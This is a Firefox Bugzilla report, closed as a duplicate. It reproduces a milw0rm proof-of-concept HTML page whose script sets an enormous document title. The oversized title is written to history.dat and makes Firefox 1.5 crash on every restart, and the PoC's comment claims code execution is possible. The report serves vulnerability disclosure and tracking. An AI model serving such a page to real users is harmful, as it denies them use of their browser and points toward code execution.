Closed
Bug 325414
Opened 19 years ago
Closed 19 years ago
Malicous Script overloads history.dat and causes Firefox to crash.
Categories
(Firefox :: Bookmarks & History, defect)
Tracking
()
RESOLVED
DUPLICATE
of bug 319004
People
(Reporter: sjs_back, Unassigned)
Details
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5
<!-- Firefox 1.5 buffer overflow
Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.
this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.
Tested with Firefox 1.5 on Windows XP SP2.
ZIPLOCK <sickbeatz@gmail.com>
-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>
# milw0rm.com [2005-12-07]
taken from http://www.milw0rm.com/id.php?id=1362
Reproducible: Always
|
||
Comment 1•19 years ago
|
||
*** This bug has been marked as a duplicate of 319004 ***
Status: UNCONFIRMED → RESOLVED
Closed: 19 years ago
Resolution: --- → DUPLICATE
Component: History → Bookmarks & History
QA Contact: history → bookmarks
You need to log in
before you can comment on or make changes to this bug.
Description
•